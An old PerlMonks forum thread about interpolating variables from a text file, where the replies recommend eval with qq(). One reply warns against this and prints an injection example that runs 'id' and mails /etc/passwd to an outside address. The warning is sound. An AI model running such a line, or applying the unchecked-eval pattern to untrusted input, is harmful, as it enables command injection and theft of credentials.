Anonymous Monk has asked for the wisdom of the Perl Monks concerning the following question:

I'm trying to load a text file, and interpolate the variables with the values I've given it in my program, but it's not interpolating. Right now it looks a bit like this
open(INFO,"artist.id"); @temp = <INFO>; $info = \@temp; close(INFO);
then I'm printing it like this
print @$info;
What should I do?

Replies are listed 'Best First'.
Re: Interpolating from text file
by cwest (Friar) on Oct 05, 2000 at 01:43 UTC
    Sort answer: eval Example:
    my $hello = 'World'; my $people = [ qw/Me You Them Us Him Her It/ ]; undef $/; my $info = <DATA>; $info = eval "qq($info)"; print $info; __END__ Hello $hello, All of you signed up! You are: @{$people} Enjoy!
    --
    Casey
       I am a superhero.
    
      Be very careful just blindly evaling data you do not explicitely trust. Consider:
      __END__ Hello $hello, Your ID information: } . `id` . `cat /etc/passwd | mail me@example.com` . qq{ Thanks for your password!
      I highly recommend either going with existing templating modules or rolling your own quick interpolation if all you need is something simple. This is discussed in the other threads mentioned in Adam's post below.

      I also very much recommend using taint checking (-T) when dealing with untrusted, potentially malicious data, which would catch potential problems like this.

        That's why it's the short answer :-)

        use Taint mode.

        --
        Casey
           I am a superhero.
        
RE: Interpolating from text file
by Adam (Vicar) on Oct 05, 2000 at 01:46 UTC
RE: Interpolating from text file
by Zarathustra (Beadle) on Oct 05, 2000 at 02:20 UTC
    open(INFO,"artist.id"); while ( <INFO> ) { $info .= eval "\"$_\""; # or #push(@info, eval "\"$_\""); } close(INFO); print "info:\n$info"; #print "info:\n@info";

    Those escaped quotes are required if you want to maintain the actual format
    of the file - newlines, spaces and such.

    update:Of course, you can use qq as in ctweten's example to make it
    look a bit cleaner
    while ( <INFO> ) { $info .= eval "qq($_)"; }